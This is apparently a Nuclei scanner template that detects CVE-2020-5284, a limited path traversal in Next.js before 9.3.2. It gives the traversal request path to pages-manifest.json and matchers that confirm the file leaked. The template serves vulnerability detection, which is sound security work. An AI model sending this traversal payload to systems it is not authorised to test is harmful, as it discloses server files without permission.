id: CVE-2020-5284

info:
  name: Next.js .next/ limited path traversal
  author: rootxharsh,iamnoooob,dwisiswant0
  severity: medium
  description: Next.js versions before 9.3.2 have a directory traversal vulnerability. Attackers could craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory. This issue is fixed in version 9.3.2.
  tags: cve,cve2020,nextjs,lfi
  reference:
    https://github.com/zeit/next.js/releases/tag/v9.3.2
    https://github.com/zeit/next.js/security/advisories/GHSA-fq77-7p7r-83rj
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.30
    cve-id: CVE-2020-5284
    cwe-id: CWE-22

requests:
  - method: GET
    path:
      - "{{BaseURL}}/_next/static/../server/pages-manifest.json"
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '\{"/_app":".*?_app\.js"'
        part: body
      - type: word
        words:
          - "application/json"
        part: header
      - type: status
        status:
          - 200